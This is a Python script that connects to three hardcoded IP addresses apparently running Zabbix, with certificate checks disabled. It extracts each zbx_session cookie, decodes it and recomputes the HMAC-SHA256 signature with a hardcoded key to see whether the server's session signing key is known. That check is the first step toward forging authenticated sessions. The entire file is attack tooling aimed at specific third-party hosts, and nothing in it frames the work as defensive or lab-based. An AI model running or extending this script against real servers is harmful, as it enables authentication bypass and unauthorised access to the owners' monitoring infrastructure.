import asyncio
import base64
import hashlib
import hmac
import json
import urllib.parse

import aiohttp

KEY = "0e1e3fb9846cbe4e079a22d38b2db33e"


def dec(v):
    v = urllib.parse.unquote(v)
    return json.loads(base64.b64decode(v + "=" * (-len(v) % 4)))


async def main():
    to = aiohttp.ClientTimeout(total=12, connect=5, sock_read=10)
    targets = ["https://178.217.81.77/zabbix/", "https://176.119.33.87/",
               "https://178.182.239.221/zabbix/"]
    async with aiohttp.ClientSession(timeout=to,
                                     connector=aiohttp.TCPConnector(limit=0, ssl=False)) as s:
        for t in targets:
            try:
                async with s.get(t, ssl=False) as r:
                    cookies = [h for h in r.headers.getall("Set-Cookie", []) if "zbx_session" in h]
                    if not cookies:
                        print(t, "-> no cookie")
                        continue
                    val = cookies[0].split("zbx_session=")[1].split(";")[0]
                    data = dec(val)
                    sign = data.pop("sign")
                    body = json.dumps(data, separators=(",", ":"))
                    print("\n===", t, "sessionid", data.get("sessionid"))
                    print("   server sign:", sign, "len", len(sign))
                    for name, k in [("key-str", KEY.encode()),
                                    ("key-hex", bytes.fromhex(KEY))]:
                        for bodyv, label in [(body, "compact")]:
                            print("   %-8s %-8s hex=%s" % (name, label,
                                  hmac.new(k, bodyv.encode(), hashlib.sha256).hexdigest() == sign))
                    # show a couple of candidates for eyeballing
                    cand = hmac.new(KEY.encode(), body.encode(), hashlib.sha256).hexdigest()
                    print("   candidate:", cand)
            except Exception as e:
                print(t, "-> err", type(e).__name__, e)


asyncio.run(main())
